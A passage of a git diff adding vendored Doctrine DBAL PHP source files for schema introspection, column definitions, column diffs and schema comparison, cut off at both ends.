keys of the column list result are lowercased. + * + * The name of the created column instance however is kept in its case. + * + * @param string $table The name of the table. + * @param string $database + * @param mixed[][] $tableColumns + * + * @return Column[] + * + * @throws Exception + */ + protected function _getPortableTableColumnList($table, $database, $tableColumns) + { + $eventManager = $this->_platform->getEventManager(); + + $list = []; + foreach ($tableColumns as $tableColumn) { + $column = null; + $defaultPrevented = false; + + if ($eventManager !== null && $eventManager->hasListeners(Events::onSchemaColumnDefinition)) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/5784', + 'Subscribing to %s events is deprecated. Use a custom schema manager instead.', + Events::onSchemaColumnDefinition, + ); + + $eventArgs = new SchemaColumnDefinitionEventArgs($tableColumn, $table, $database, $this->_conn); + $eventManager->dispatchEvent(Events::onSchemaColumnDefinition, $eventArgs); + + $defaultPrevented = $eventArgs->isDefaultPrevented(); + $column = $eventArgs->getColumn(); + } + + if (! $defaultPrevented) { + $column = $this->_getPortableTableColumnDefinition($tableColumn); + } + + if ($column === null) { + continue; + } + + $name = strtolower($column->getQuotedName($this->_platform)); + $list[$name] = $column; + } + + return $list; + } + + /** + * Gets Table Column Definition. + * + * @param mixed[] $tableColumn + * + * @return Column + * + * @throws Exception + */ + abstract protected function _getPortableTableColumnDefinition($tableColumn); + + /** + * Aggregates and groups the index results according to the required data result. + * + * @param mixed[][] $tableIndexes + * @param string|null $tableName + * + * @return Index[] + * + * @throws Exception + */ + protected function _getPortableTableIndexesList($tableIndexes, $tableName = null) + { + $result = []; + foreach ($tableIndexes as $tableIndex) { + $indexName = $keyName = $tableIndex['key_name']; + if ($tableIndex['primary']) { + $keyName = 'primary'; + } + + $keyName = strtolower($keyName); + + if (! isset($result[$keyName])) { + $options = [ + 'lengths' => [], + ]; + + if (isset($tableIndex['where'])) { + $options['where'] = $tableIndex['where']; + } + + $result[$keyName] = [ + 'name' => $indexName, + 'columns' => [], + 'unique' => ! $tableIndex['non_unique'], + 'primary' => $tableIndex['primary'], + 'flags' => $tableIndex['flags'] ?? [], + 'options' => $options, + ]; + } + + $result[$keyName]['columns'][] = $tableIndex['column_name']; + $result[$keyName]['options']['lengths'][] = $tableIndex['length'] ?? null; + } + + $eventManager = $this->_platform->getEventManager(); + + $indexes = []; + foreach ($result as $indexKey => $data) { + $index = null; + $defaultPrevented = false; + + if ($eventManager !== null && $eventManager->hasListeners(Events::onSchemaIndexDefinition)) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/5784', + 'Subscribing to %s events is deprecated. Use a custom schema manager instead.', + Events::onSchemaColumnDefinition, + ); + + $eventArgs = new SchemaIndexDefinitionEventArgs($data, $tableName, $this->_conn); + $eventManager->dispatchEvent(Events::onSchemaIndexDefinition, $eventArgs); + + $defaultPrevented = $eventArgs->isDefaultPrevented(); + $index = $eventArgs->getIndex(); + } + + if (! $defaultPrevented) { + $index = new Index( + $data['name'], + $data['columns'], + $data['unique'], + $data['primary'], + $data['flags'], + $data['options'], + ); + } + + if ($index === null) { + continue; + } + + $indexes[$indexKey] = $index; + } + + return $indexes; + } + + /** + * @param mixed[][] $tables + * + * @return string[] + */ + protected function _getPortableTablesList($tables) + { + $list = []; + foreach ($tables as $value) { + $list[] = $this->_getPortableTableDefinition($value); + } + + return $list; + } + + /** + * @param mixed $table + * + * @return string + */ + protected function _getPortableTableDefinition($table) + { + return $table; + } + + /** + * @param mixed[][] $views + * + * @return View[] + */ + protected function _getPortableViewsList($views) + { + $list = []; + foreach ($views as $value) { + $view = $this->_getPortableViewDefinition($value); + + if ($view === false) { + continue; + } + + $viewName = strtolower($view->getQuotedName($this->_platform)); + $list[$viewName] = $view; + } + + return $list; + } + + /** + * @param mixed[] $view + * + * @return View|false + */ + protected function _getPortableViewDefinition($view) + { + return false; + } + + /** + * @param mixed[][] $tableForeignKeys + * + * @return ForeignKeyConstraint[] + */ + protected function _getPortableTableForeignKeysList($tableForeignKeys) + { + $list = []; + + foreach ($tableForeignKeys as $value) { + $list[] = $this->_getPortableTableForeignKeyDefinition($value); + } + + return $list; + } + + /** + * @param mixed $tableForeignKey + * + * @return ForeignKeyConstraint + * + * @abstract + */ + protected function _getPortableTableForeignKeyDefinition($tableForeignKey) + { + return $tableForeignKey; + } + + /** + * @internal + * + * @param string[]|string $sql + * + * @return void + * + * @throws Exception + */ + protected function _execSql($sql) + { + foreach ((array) $sql as $query) { + $this->_conn->executeStatement($query); + } + } + + /** + * Creates a schema instance for the current database. + * + * @deprecated Use {@link introspectSchema()} instead. + * + * @return Schema + * + * @throws Exception + */ + public function createSchema() + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5613', + '%s is deprecated. Use introspectSchema() instead.', + __METHOD__, + ); + + $schemaNames = []; + + if ($this->_platform->supportsSchemas()) { + $schemaNames = $this->listNamespaceNames(); + } + + $sequences = []; + + if ($this->_platform->supportsSequences()) { + $sequences = $this->listSequences(); + } + + $tables = $this->listTables(); + + return new Schema($tables, $sequences, $this->createSchemaConfig(), $schemaNames); + } + + /** + * Returns a {@see Schema} instance representing the current database schema. + * + * @throws Exception + */ + public function introspectSchema(): Schema + { + return $this->createSchema(); + } + + /** + * Creates the configuration for this schema. + * + * @return SchemaConfig + * + * @throws Exception + */ + public function createSchemaConfig() + { + $schemaConfig = new SchemaConfig(); + $schemaConfig->setMaxIdentifierLength($this->_platform->getMaxIdentifierLength()); + + $searchPaths = $this->getSchemaSearchPaths(); + if (isset($searchPaths[0])) { + $schemaConfig->setName($searchPaths[0]); + } + + $params = $this->_conn->getParams(); + if (! isset($params['defaultTableOptions'])) { + $params['defaultTableOptions'] = []; + } + + if (! isset($params['defaultTableOptions']['charset']) && isset($params['charset'])) { + $params['defaultTableOptions']['charset'] = $params['charset']; + } + + $schemaConfig->setDefaultTableOptions($params['defaultTableOptions']); + + return $schemaConfig; + } + + /** + * The search path for namespaces in the currently connected database. + * + * The first entry is usually the default namespace in the Schema. All + * further namespaces contain tables/sequences which can also be addressed + * with a short, not full-qualified name. + * + * For databases that don't support subschema/namespaces this method + * returns the name of the currently connected database. + * + * @deprecated + * + * @return string[] + * + * @throws Exception + */ + public function getSchemaSearchPaths() + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4821', + 'AbstractSchemaManager::getSchemaSearchPaths() is deprecated.', + ); + + $database = $this->_conn->getDatabase(); + + if ($database !== null) { + return [$database]; + } + + return []; + } + + /** + * Given a table comment this method tries to extract a typehint for Doctrine Type, or returns + * the type given as default. + * + * @internal This method should be only used from within the AbstractSchemaManager class hierarchy. + * + * @param string|null $comment + * @param string $currentType + * + * @return string + */ + public function extractDoctrineTypeFromComment($comment, $currentType) + { + if ($comment !== null && preg_match('(\(DC2Type:(((?!\)).)+)\))', $comment, $match) === 1) { + return $match[1]; + } + + return $currentType; + } + + /** + * @internal This method should be only used from within the AbstractSchemaManager class hierarchy. + * + * @param string|null $comment + * @param string|null $type + * + * @return string|null + */ + public function removeDoctrineTypeFromComment($comment, $type) + { + if ($comment === null) { + return null; + } + + return str_replace('(DC2Type:' . $type . ')', '', $comment); + } + + /** @throws Exception */ + private function getDatabase(string $methodName): string + { + $database = $this->_conn->getDatabase(); + + if ($database === null) { + throw DatabaseRequired::new($methodName); + } + + return $database; + } + + public function createComparator(): Comparator + { + return new Comparator($this->_platform); + } + + /** + * @return array>> + * + * @throws Exception + */ + private function fetchAllAssociativeGrouped(Result $result): array + { + $data = []; + + foreach ($result->fetchAllAssociative() as $row) { + $tableName = $this->_getPortableTableDefinition($row); + $data[$tableName][] = $row; + } + + return $data; + } +} diff --git a/vendor/doctrine/dbal/src/Schema/Column.php b/vendor/doctrine/dbal/src/Schema/Column.php new file mode 100644 index 000000000..03fd686f4 --- /dev/null +++ b/vendor/doctrine/dbal/src/Schema/Column.php @@ -0,0 +1,466 @@ +_setName($name); + $this->setType($type); + $this->setOptions($options); + } + + /** + * @param mixed[] $options + * + * @return Column + * + * @throws SchemaException + */ + public function setOptions(array $options) + { + foreach ($options as $name => $value) { + $method = 'set' . $name; + + if (! method_exists($this, $method)) { + throw UnknownColumnOption::new($name); + } + + $this->$method($value); + } + + return $this; + } + + /** @return Column */ + public function setType(Type $type) + { + $this->_type = $type; + + return $this; + } + + /** + * @param int|null $length + * + * @return Column + */ + public function setLength($length) + { + if ($length !== null) { + $this->_length = (int) $length; + } else { + $this->_length = null; + } + + return $this; + } + + /** + * @param int $precision + * + * @return Column + */ + public function setPrecision($precision) + { + if (! is_numeric($precision)) { + $precision = 10; // defaults to 10 when no valid precision is given. + } + + $this->_precision = (int) $precision; + + return $this; + } + + /** + * @param int $scale + * + * @return Column + */ + public function setScale($scale) + { + if (! is_numeric($scale)) { + $scale = 0; + } + + $this->_scale = (int) $scale; + + return $this; + } + + /** + * @param bool $unsigned + * + * @return Column + */ + public function setUnsigned($unsigned) + { + $this->_unsigned = (bool) $unsigned; + + return $this; + } + + /** + * @param bool $fixed + * + * @return Column + */ + public function setFixed($fixed) + { + $this->_fixed = (bool) $fixed; + + return $this; + } + + /** + * @param bool $notnull + * + * @return Column + */ + public function setNotnull($notnull) + { + $this->_notnull = (bool) $notnull; + + return $this; + } + + /** + * @param mixed $default + * + * @return Column + */ + public function setDefault($default) + { + $this->_default = $default; + + return $this; + } + + /** + * @param mixed[] $platformOptions + * + * @return Column + */ + public function setPlatformOptions(array $platformOptions) + { + $this->_platformOptions = $platformOptions; + + return $this; + } + + /** + * @param string $name + * @param mixed $value + * + * @return Column + */ + public function setPlatformOption($name, $value) + { + $this->_platformOptions[$name] = $value; + + return $this; + } + + /** + * @param string|null $value + * + * @return Column + */ + public function setColumnDefinition($value) + { + $this->_columnDefinition = $value; + + return $this; + } + + /** @return Type */ + public function getType() + { + return $this->_type; + } + + /** @return int|null */ + public function getLength() + { + return $this->_length; + } + + /** @return int */ + public function getPrecision() + { + return $this->_precision; + } + + /** @return int */ + public function getScale() + { + return $this->_scale; + } + + /** @return bool */ + public function getUnsigned() + { + return $this->_unsigned; + } + + /** @return bool */ + public function getFixed() + { + return $this->_fixed; + } + + /** @return bool */ + public function getNotnull() + { + return $this->_notnull; + } + + /** @return string|null */ + public function getDefault() + { + return $this->_default; + } + + /** @return mixed[] */ + public function getPlatformOptions() + { + return $this->_platformOptions; + } + + /** + * @param string $name + * + * @return bool + */ + public function hasPlatformOption($name) + { + return isset($this->_platformOptions[$name]); + } + + /** + * @param string $name + * + * @return mixed + */ + public function getPlatformOption($name) + { + return $this->_platformOptions[$name]; + } + + /** @return string|null */ + public function getColumnDefinition() + { + return $this->_columnDefinition; + } + + /** @return bool */ + public function getAutoincrement() + { + return $this->_autoincrement; + } + + /** + * @param bool $flag + * + * @return Column + */ + public function setAutoincrement($flag) + { + $this->_autoincrement = $flag; + + return $this; + } + + /** + * @param string|null $comment + * + * @return Column + */ + public function setComment($comment) + { + $this->_comment = $comment; + + return $this; + } + + /** @return string|null */ + public function getComment() + { + return $this->_comment; + } + + /** + * @deprecated Use {@link setPlatformOption()} instead + * + * @param string $name + * @param mixed $value + * + * @return Column + */ + public function setCustomSchemaOption($name, $value) + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5476', + 'Column::setCustomSchemaOption() is deprecated. Use setPlatformOption() instead.', + ); + + $this->_customSchemaOptions[$name] = $value; + + return $this; + } + + /** + * @deprecated Use {@link hasPlatformOption()} instead + * + * @param string $name + * + * @return bool + */ + public function hasCustomSchemaOption($name) + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5476', + 'Column::hasCustomSchemaOption() is deprecated. Use hasPlatformOption() instead.', + ); + + return isset($this->_customSchemaOptions[$name]); + } + + /** + * @deprecated Use {@link getPlatformOption()} instead + * + * @param string $name + * + * @return mixed + */ + public function getCustomSchemaOption($name) + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5476', + 'Column::getCustomSchemaOption() is deprecated. Use getPlatformOption() instead.', + ); + + return $this->_customSchemaOptions[$name]; + } + + /** + * @deprecated Use {@link setPlatformOptions()} instead + * + * @param mixed[] $customSchemaOptions + * + * @return Column + */ + public function setCustomSchemaOptions(array $customSchemaOptions) + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5476', + 'Column::setCustomSchemaOptions() is deprecated. Use setPlatformOptions() instead.', + ); + + $this->_customSchemaOptions = $customSchemaOptions; + + return $this; + } + + /** + * @deprecated Use {@link getPlatformOptions()} instead + * + * @return mixed[] + */ + public function getCustomSchemaOptions() + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5476', + 'Column::getCustomSchemaOptions() is deprecated. Use getPlatformOptions() instead.', + ); + + return $this->_customSchemaOptions; + } + + /** @return mixed[] */ + public function toArray() + { + return array_merge([ + 'name' => $this->_name, + 'type' => $this->_type, + 'default' => $this->_default, + 'notnull' => $this->_notnull, + 'length' => $this->_length, + 'precision' => $this->_precision, + 'scale' => $this->_scale, + 'fixed' => $this->_fixed, + 'unsigned' => $this->_unsigned, + 'autoincrement' => $this->_autoincrement, + 'columnDefinition' => $this->_columnDefinition, + 'comment' => $this->_comment, + ], $this->_platformOptions, $this->_customSchemaOptions); + } +} diff --git a/vendor/doctrine/dbal/src/Schema/ColumnDiff.php b/vendor/doctrine/dbal/src/Schema/ColumnDiff.php new file mode 100644 index 000000000..bd1b0eee0 --- /dev/null +++ b/vendor/doctrine/dbal/src/Schema/ColumnDiff.php @@ -0,0 +1,169 @@ +oldColumnName = $oldColumnName; + $this->column = $column; + $this->changedProperties = $changedProperties; + $this->fromColumn = $fromColumn; + } + + public function getOldColumn(): ?Column + { + return $this->fromColumn; + } + + public function getNewColumn(): Column + { + return $this->column; + } + + public function hasTypeChanged(): bool + { + return $this->hasChanged('type'); + } + + public function hasLengthChanged(): bool + { + return $this->hasChanged('length'); + } + + public function hasPrecisionChanged(): bool + { + return $this->hasChanged('precision'); + } + + public function hasScaleChanged(): bool + { + return $this->hasChanged('scale'); + } + + public function hasUnsignedChanged(): bool + { + return $this->hasChanged('unsigned'); + } + + public function hasFixedChanged(): bool + { + return $this->hasChanged('fixed'); + } + + public function hasNotNullChanged(): bool + { + return $this->hasChanged('notnull'); + } + + public function hasDefaultChanged(): bool + { + return $this->hasChanged('default'); + } + + public function hasAutoIncrementChanged(): bool + { + return $this->hasChanged('autoincrement'); + } + + public function hasCommentChanged(): bool + { + return $this->hasChanged('comment'); + } + + /** + * @deprecated Use {@see hasTypeChanged()}, {@see hasLengthChanged()}, {@see hasPrecisionChanged()}, + * {@see hasScaleChanged()}, {@see hasUnsignedChanged()}, {@see hasFixedChanged()}, {@see hasNotNullChanged()}, + * {@see hasDefaultChanged()}, {@see hasAutoIncrementChanged()} or {@see hasCommentChanged()} instead. + * + * @param string $propertyName + * + * @return bool + */ + public function hasChanged($propertyName) + { + return in_array($propertyName, $this->changedProperties, true); + } + + /** + * @deprecated Use {@see $fromColumn} instead. + * + * @return Identifier + */ + public function getOldColumnName() + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5622', + '%s is deprecated. Use $fromColumn instead.', + __METHOD__, + ); + + if ($this->fromColumn !== null) { + $name = $this->fromColumn->getName(); + $quote = $this->fromColumn->isQuoted(); + } else { + $name = $this->oldColumnName; + $quote = false; + } + + return new Identifier($name, $quote); + } +} diff --git a/vendor/doctrine/dbal/src/Schema/Comparator.php b/vendor/doctrine/dbal/src/Schema/Comparator.php new file mode 100644 index 000000000..28e7f2f73 --- /dev/null +++ b/vendor/doctrine/dbal/src/Schema/Comparator.php @@ -0,0 +1,716 @@ +platform = $platform; + } + + /** @param list $args */ + public function __call(string $method, array $args): SchemaDiff + { + if ($method !== 'compareSchemas') { + throw new BadMethodCallException(sprintf('Unknown method "%s"', $method)); + } + + return $this->doCompareSchemas(...$args); + } + + /** @param list $args */ + public static function __callStatic(string $method, array $args): SchemaDiff + { + if ($method !== 'compareSchemas') { + throw new BadMethodCallException(sprintf('Unknown method "%s"', $method)); + } + + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4707', + 'Calling %s::%s() statically is deprecated.', + self::class, + $method, + ); + + $comparator = new self(); + + return $comparator->doCompareSchemas(...$args); + } + + /** + * Returns a SchemaDiff object containing the differences between the schemas $fromSchema and $toSchema. + * + * This method should be called non-statically since it will be declared as non-static in the next major release. + * + * @return SchemaDiff + * + * @throws SchemaException + */ + private function doCompareSchemas( + Schema $fromSchema, + Schema $toSchema + ) { + $createdSchemas = []; + $droppedSchemas = []; + $createdTables = []; + $alteredTables = []; + $droppedTables = []; + $createdSequences = []; + $alteredSequences = []; + $droppedSequences = []; + + $orphanedForeignKeys = []; + + $foreignKeysToTable = []; + + foreach ($toSchema->getNamespaces() as $namespace) { + if ($fromSchema->hasNamespace($namespace)) { + continue; + } + + $createdSchemas[$namespace] = $namespace; + } + + foreach ($fromSchema->getNamespaces() as $namespace) { + if ($toSchema->hasNamespace($namespace)) { + continue; + } + + $droppedSchemas[$namespace] = $namespace; + } + + foreach ($toSchema->getTables() as $table) { + $tableName = $table->getShortestName($toSchema->getName()); + if (! $fromSchema->hasTable($tableName)) { + $createdTables[$tableName] = $toSchema->getTable($tableName); + } else { + $tableDifferences = $this->diffTable( + $fromSchema->getTable($tableName), + $toSchema->getTable($tableName), + ); + + if ($tableDifferences !== false) { + $alteredTables[$tableName] = $tableDifferences; + } + } + } + + /* Check if there are tables removed */ + foreach ($fromSchema->getTables() as $table) { + $tableName = $table->getShortestName($fromSchema->getName()); + + $table = $fromSchema->getTable($tableName); + if (! $toSchema->hasTable($tableName)) { + $droppedTables[$tableName] = $table; + } + + // also remember all foreign keys that point to a specific table + foreach ($table->getForeignKeys() as $foreignKey) { + $foreignTable = strtolower($foreignKey->getForeignTableName()); + if (! isset($foreignKeysToTable[$foreignTable])) { + $foreignKeysToTable[$foreignTable] = []; + } + + $foreignKeysToTable[$foreignTable][] = $foreignKey; + } + } + + foreach ($droppedTables as $tableName => $table) { + if (! isset($foreignKeysToTable[$tableName])) { + continue; + } + + foreach ($foreignKeysToTable[$tableName] as $foreignKey) { + if (isset($droppedTables[strtolower($foreignKey->getLocalTableName())])) { + continue; + } + + $orphanedForeignKeys[] = $foreignKey; + } + + // deleting duplicated foreign keys present on both on the orphanedForeignKey + // and the removedForeignKeys from changedTables + foreach ($foreignKeysToTable[$tableName] as $foreignKey) { + // strtolower the table name to make if compatible with getShortestName + $localTableName = strtolower($foreignKey->getLocalTableName()); + if (! isset($alteredTables[$localTableName])) { + continue; + } + + foreach ($alteredTables[$localTableName]->getDroppedForeignKeys() as $droppedForeignKey) { + assert($droppedForeignKey instanceof ForeignKeyConstraint); + + // We check if the key is from the removed table if not we skip. + if ($tableName !== strtolower($droppedForeignKey->getForeignTableName())) { + continue; + } + + $alteredTables[$localTableName]->unsetDroppedForeignKey($droppedForeignKey); + } + } + } + + foreach ($toSchema->getSequences() as $sequence) { + $sequenceName = $sequence->getShortestName($toSchema->getName()); + if (! $fromSchema->hasSequence($sequenceName)) { + if (! $this->isAutoIncrementSequenceInSchema($fromSchema, $sequence)) { + $createdSequences[] = $sequence; + } + } else { + if ($this->diffSequence($sequence, $fromSchema->getSequence($sequenceName))) { + $alteredSequences[] = $toSchema->getSequence($sequenceName); + } + } + } + + foreach ($fromSchema->getSequences() as $sequence) { + if ($this->isAutoIncrementSequenceInSchema($toSchema, $sequence)) { + continue; + } + + $sequenceName = $sequence->getShortestName($fromSchema->getName()); + + if ($toSchema->hasSequence($sequenceName)) { + continue; + } + + $droppedSequences[] = $sequence; + } + + $diff = new SchemaDiff( + $createdTables, + $alteredTables, + $droppedTables, + $fromSchema, + $createdSchemas, + $droppedSchemas, + $createdSequences, + $alteredSequences, + $droppedSequences, + ); + + $diff->orphanedForeignKeys = $orphanedForeignKeys; + + return $diff; + } + + /** + * @deprecated Use non-static call to {@see compareSchemas()} instead. + * + * @return SchemaDiff + * + * @throws SchemaException + */ + public function compare(Schema $fromSchema, Schema $toSchema) + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4707', + 'Method compare() is deprecated. Use a non-static call to compareSchemas() instead.', + ); + + return $this->compareSchemas($fromSchema, $toSchema); + } + + /** + * @param Schema $schema + * @param Sequence $sequence + */ + private function isAutoIncrementSequenceInSchema($schema, $sequence): bool + { + foreach ($schema->getTables() as $table) { + if ($sequence->isAutoIncrementsFor($table)) { + return true; + } + } + + return false; + } + + /** @return bool */ + public function diffSequence(Sequence $sequence1, Sequence $sequence2) + { + if ($sequence1->getAllocationSize() !== $sequence2->getAllocationSize()) { + return true; + } + + return $sequence1->getInitialValue() !== $sequence2->getInitialValue(); + } + + /** + * Returns the difference between the tables $fromTable and $toTable. + * + * If there are no differences this method returns the boolean false. + * + * @deprecated Use {@see compareTables()} and, optionally, {@see TableDiff::isEmpty()} instead. + * + * @return TableDiff|false + * + * @throws Exception + */ + public function diffTable(Table $fromTable, Table $toTable) + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5770', + '%s is deprecated. Use compareTables() instead.', + __METHOD__, + ); + + $diff = $this->compareTables($fromTable, $toTable); + + if ($diff->isEmpty()) { + return false; + } + + return $diff; + } + + /** + * Compares the tables and returns the difference between them. + * + * @throws Exception + */ + public function compareTables(Table $fromTable, Table $toTable): TableDiff + { + $addedColumns = []; + $modifiedColumns = []; + $droppedColumns = []; + $addedIndexes = []; + $modifiedIndexes = []; + $droppedIndexes = []; + $addedForeignKeys = []; + $modifiedForeignKeys = []; + $droppedForeignKeys = []; + + $fromTableColumns = $fromTable->getColumns(); + $toTableColumns = $toTable->getColumns(); + + /* See if all the columns in "from" table exist in "to" table */ + foreach ($toTableColumns as $columnName => $column) { + if ($fromTable->hasColumn($columnName)) { + continue; + } + + $addedColumns[$columnName] = $column; + } + + /* See if there are any removed columns in "to" table */ + foreach ($fromTableColumns as $columnName => $column) { + // See if column is removed in "to" table. + if (! $toTable->hasColumn($columnName)) { + $droppedColumns[$columnName] = $column; + + continue; + } + + $toColumn = $toTable->getColumn($columnName); + + // See if column has changed properties in "to" table. + $changedProperties = $this->diffColumn($column, $toColumn); + + if ($this->platform !== null) { + if ($this->columnsEqual($column, $toColumn)) { + continue; + } + } elseif (count($changedProperties) === 0) { + continue; + } + + $modifiedColumns[$column->getName()] = new ColumnDiff( + $column->getName(), + $toColumn, + $changedProperties, + $column, + ); + } + + $renamedColumns = $this->detectRenamedColumns($addedColumns, $droppedColumns); + + $fromTableIndexes = $fromTable->getIndexes(); + $toTableIndexes = $toTable->getIndexes(); + + /* See if all the indexes in "from" table exist in "to" table */ + foreach ($toTableIndexes as $indexName => $index) { + if (($index->isPrimary() && $fromTable->getPrimaryKey() !== null) || $fromTable->hasIndex($indexName)) { + continue; + } + + $addedIndexes[$indexName] = $index; + } + + /* See if there are any removed indexes in "to" table */ + foreach ($fromTableIndexes as $indexName => $index) { + // See if index is removed in "to" table. + if ( + ($index->isPrimary() && $toTable->getPrimaryKey() === null) || + ! $index->isPrimary() && ! $toTable->hasIndex($indexName) + ) { + $droppedIndexes[$indexName] = $index; + + continue; + } + + // See if index has changed in "to" table. + $toTableIndex = $index->isPrimary() ? $toTable->getPrimaryKey() : $toTable->getIndex($indexName); + assert($toTableIndex instanceof Index); + + if (! $this->diffIndex($index, $toTableIndex)) { + continue; + } + + $modifiedIndexes[$indexName] = $toTableIndex; + } + + $renamedIndexes = $this->detectRenamedIndexes($addedIndexes, $droppedIndexes); + + $fromForeignKeys = $fromTable->getForeignKeys(); + $toForeignKeys = $toTable->getForeignKeys(); + + foreach ($fromForeignKeys as $fromKey => $fromConstraint) { + foreach ($toForeignKeys as $toKey => $toConstraint) { + if ($this->diffForeignKey($fromConstraint, $toConstraint) === false) { + unset($fromForeignKeys[$fromKey], $toForeignKeys[$toKey]); + } else { + if (strtolower($fromConstraint->getName()) === strtolower($toConstraint->getName())) { + $modifiedForeignKeys[] = $toConstraint; + + unset($fromForeignKeys[$fromKey], $toForeignKeys[$toKey]); + } + } + } + } + + foreach ($fromForeignKeys as $fromConstraint) { + $droppedForeignKeys[] = $fromConstraint; + } + + foreach ($toForeignKeys as $toConstraint) { + $addedForeignKeys[] = $toConstraint; + } + + return new TableDiff( + $toTable->getName(), + $addedColumns, + $modifiedColumns, + $droppedColumns, + $addedIndexes, + $modifiedIndexes, + $droppedIndexes, + $fromTable, + $addedForeignKeys, + $modifiedForeignKeys, + $droppedForeignKeys, + $renamedColumns, + $renamedIndexes, + ); + } + + /** + * Try to find columns that only changed their name, rename operations maybe cheaper than add/drop + * however ambiguities between different possibilities should not lead to renaming at all. + * + * @param array $addedColumns + * @param array $removedColumns + * + * @return array + * + * @throws Exception + */ + private function detectRenamedColumns(array &$addedColumns, array &$removedColumns): array + { + $candidatesByName = []; + + foreach ($addedColumns as $addedColumnName => $addedColumn) { + foreach ($removedColumns as $removedColumn) { + if (! $this->columnsEqual($addedColumn, $removedColumn)) { + continue; + } + + $candidatesByName[$addedColumn->getName()][] = [$removedColumn, $addedColumn, $addedColumnName]; + } + } + + $renamedColumns = []; + + foreach ($candidatesByName as $candidates) { + if (count($candidates) !== 1) { + continue; + } + + [$removedColumn, $addedColumn] = $candidates[0]; + $removedColumnName = $removedColumn->getName(); + $addedColumnName = strtolower($addedColumn->getName()); + + if (isset($renamedColumns[$removedColumnName])) { + continue; + } + + $renamedColumns[$removedColumnName] = $addedColumn; + unset( + $addedColumns[$addedColumnName], + $removedColumns[strtolower($removedColumnName)], + ); + } + + return $renamedColumns; + } + + /** + * Try to find indexes that only changed their name, rename operations maybe cheaper than add/drop + * however ambiguities between different possibilities should not lead to renaming at all. + * + * @param array $addedIndexes + * @param array $removedIndexes + * + * @return array + */ + private function detectRenamedIndexes(array &$addedIndexes, array &$removedIndexes): array + { + $candidatesByName = []; + + // Gather possible rename candidates by comparing each added and removed index based on semantics. + foreach ($addedIndexes as $addedIndexName => $addedIndex) { + foreach ($removedIndexes as $removedIndex) { + if ($this->diffIndex($addedIndex, $removedIndex)) { + continue; + } + + $candidatesByName[$addedIndex->getName()][] = [$removedIndex, $addedIndex, $addedIndexName]; + } + } + + $renamedIndexes = []; + + foreach ($candidatesByName as $candidates) { + // If the current rename candidate contains exactly one semantically equal index, + // we can safely rename it. + // Otherwise, it is unclear if a rename action is really intended, + // therefore we let those ambiguous indexes be added/dropped. + if (count($candidates) !== 1) { + continue; + } + + [$removedIndex, $addedIndex] = $candidates[0]; + + $removedIndexName = strtolower($removedIndex->getName()); + $addedIndexName = strtolower($addedIndex->getName()); + + if (isset($renamedIndexes[$removedIndexName])) { + continue; + } + + $renamedIndexes[$removedIndexName] = $addedIndex; + unset( + $addedIndexes[$addedIndexName], + $removedIndexes[$removedIndexName], + ); + } + + return $renamedIndexes; + } + + /** + * @internal The method should be only used from within the {@see Comparator} class hierarchy. + * + * @return bool + */ + public function diffForeignKey(ForeignKeyConstraint $key1, ForeignKeyConstraint $key2) + { + if ( + array_map('strtolower', $key1->getUnquotedLocalColumns()) + !== array_map('strtolower', $key2->getUnquotedLocalColumns()) + ) { + return true; + } + + if ( + array_map('strtolower', $key1->getUnquotedForeignColumns()) + !== array_map('strtolower', $key2->getUnquotedForeignColumns()) + ) { + return true; + } + + if ($key1->getUnqualifiedForeignTableName() !== $key2->getUnqualifiedForeignTableName()) { + return true; + } + + if ($key1->onUpdate() !== $key2->onUpdate()) { + return true; + } + + return $key1->onDelete() !== $key2->onDelete(); + } + + /** + * Compares the definitions of the given columns + * + * @internal The method should be only used from within the {@see Comparator} class hierarchy. + * + * @throws Exception + */ + public function columnsEqual(Column $column1, Column $column2): bool + { + if ($this->platform === null) { + return $this->diffColumn($column1, $column2) === []; + } + + return $this->platform->columnsEqual($column1, $column2); + } + + /** + * Returns the difference between the columns + * + * If there are differences this method returns the changed properties as a + * string array, otherwise an empty array gets returned. + * + * @deprecated Use {@see columnsEqual()} instead. + * + * @return string[] + */ + public function diffColumn(Column $column1, Column $column2) + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5650', + '%s is deprecated. Use diffTable() instead.', + __METHOD__, + ); + + $properties1 = $column1->toArray(); + $properties2 = $column2->toArray(); + + $changedProperties = []; + + if (get_class($properties1['type']) !== get_class($properties2['type'])) { + $changedProperties[] = 'type'; + } + + foreach (['notnull', 'unsigned', 'autoincrement'] as $property) { + if ($properties1[$property] === $properties2[$property]) { + continue; + } + + $changedProperties[] = $property; + } + + // Null values need to be checked additionally as they tell whether to create or drop a default value. + // null != 0, null != false, null != '' etc. This affects platform's table alteration SQL generation. + if ( + ($properties1['default'] === null) !== ($properties2['default'] === null) + || $properties1['default'] != $properties2['default'] + ) { + $changedProperties[] = 'default'; + } + + if ( + ($properties1['type'] instanceof Types\StringType && ! $properties1['type'] instanceof Types\GuidType) || + $properties1['type'] instanceof Types\BinaryType + ) { + // check if value of length is set at all, default value assumed otherwise. + $length1 = $properties1['length'] ?? 255; + $length2 = $properties2['length'] ?? 255; + if ($length1 !== $length2) { + $changedProperties[] = 'length'; + } + + if ($properties1['fixed'] !== $properties2['fixed']) { + $changedProperties[] = 'fixed'; + } + } elseif ($properties1['type'] instanceof Types\DecimalType) { + if (($properties1['precision'] ?? 10) !== ($properties2['precision'] ?? 10)) { + $changedProperties[] = 'precision'; + } + + if ($properties1['scale'] !== $properties2['scale']) { + $changedProperties[] = 